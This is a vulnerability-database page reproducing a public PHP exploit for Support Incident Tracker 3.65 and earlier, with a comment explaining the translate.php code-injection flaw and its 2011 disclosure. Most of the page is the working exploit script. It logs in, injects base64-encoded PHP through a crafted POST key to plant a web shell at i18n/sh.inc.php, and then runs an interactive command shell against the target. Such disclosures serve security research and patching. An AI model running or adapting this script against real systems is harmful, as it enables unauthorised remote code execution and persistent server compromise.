Lucene search
K

Support Incident Tracker <= 3.65 (translate.php) Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Support Incident Tracker 3.65 Remote Code Executio

Code

                                                &#60;?php

/*
    ------------------------------------------------------------------------------
    Support Incident Tracker &#60;= 3.65 (translate.php) Remote Code Execution Exploit
    ------------------------------------------------------------------------------
    
    author...............: Egidio Romano aka EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://sitracker.org/
    affected versions....: from 3.45 to 3.65
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in /translate.php
    
    234.        foreach (array_keys($_POST) as $key)
    235.        {
    236.            if (!empty($_POST[$key]) AND substr($key, 0, 3) == &#34;str&#34;)
    237.            {
    238.                if ($lastchar!=&#39;&#39; AND substr($key, 3, 1) != $lastchar) $i18nfile .= &#34;\n&#34;;
    239.                $i18nfile .= &#34;\${$key} = &#39;&#34;.addslashes($_POST[$key]).&#34;&#39;;\n&#34;;
    240.                $lastchar = substr($key, 3, 1);
    241.                $translatedcount++;
    242.            }
    243.        }
    
    Input passed via keys of $_POST array isn&#39;t properly sanitized before being stored into $i18nfile variable
    at line 239, that variable will be the contents of a language file stored into &#39;i18n&#39; directory with a php
    extension. This could allow authenticated users to inject and execute arbitrary PHP code. Furthermore,
    access directly to /translate.php?mode=save will reveal the full installation path of the application.

    [-] Disclosure timeline:
    
    [13/11/2011] - Vulnerability discovered
    [13/11/2011] - Issue reported to http://bugs.sitracker.org/view.php?id=1737
    [13/11/2011] - Vendor replied that this issue is fixed in the current SVN trunk
    [19/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( &#34;\n[-] No response from {$host}:80\n&#34;);
    
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print &#34;\n+------------------------------------------------------------------------+&#34;;
print &#34;\n| Support Incident Tracker &#60;= 3.65 Remote Code Execution Exploit by EgiX |&#34;;
print &#34;\n+------------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
    print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62; &#60;username&#62; &#60;password&#62;\n&#34;;
    print &#34;\nExample....: php $argv[0] localhost / user pass&#34;;
    print &#34;\nExample....: php $argv[0] localhost /sit/ user pass\n&#34;;
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = &#34;username={$argv[3]}&password={$argv[4]}&#34;;
$packet  = &#34;POST {$path}login.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: SiTsessionID=foo\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;;
 
$response = http_send($host, $packet);

if (!preg_match(&#34;/main.php/&#34;, $response)) die(&#34;\n[-] Login failed!\n&#34;);
if (!preg_match(&#34;/Set-Cookie: ([^;]*);/&#34;, $response, $sid)) die(&#34;\n[-] Session ID not found!\n&#34;);

$phpcode = base64_encode(&#39;passthru(base64_decode($_SERVER[HTTP_CMD]));print(&#34;___&#34;);&#39;);
$payload = &#34;mode=save&lang=sh&str;eval(base64_decode({$phpcode}));//=1&#34;;

$packet  = &#34;POST {$path}translate.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: {$sid[1]}\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;;
    
http_send($host, $packet);

$packet  = &#34;GET {$path}i18n/sh.inc.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
    print &#34;\nsit-shell# &#34;;
    if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match(&#34;/\n\r\n(.*)___/s&#34;, $response, $m) ? print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;);
}

?&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23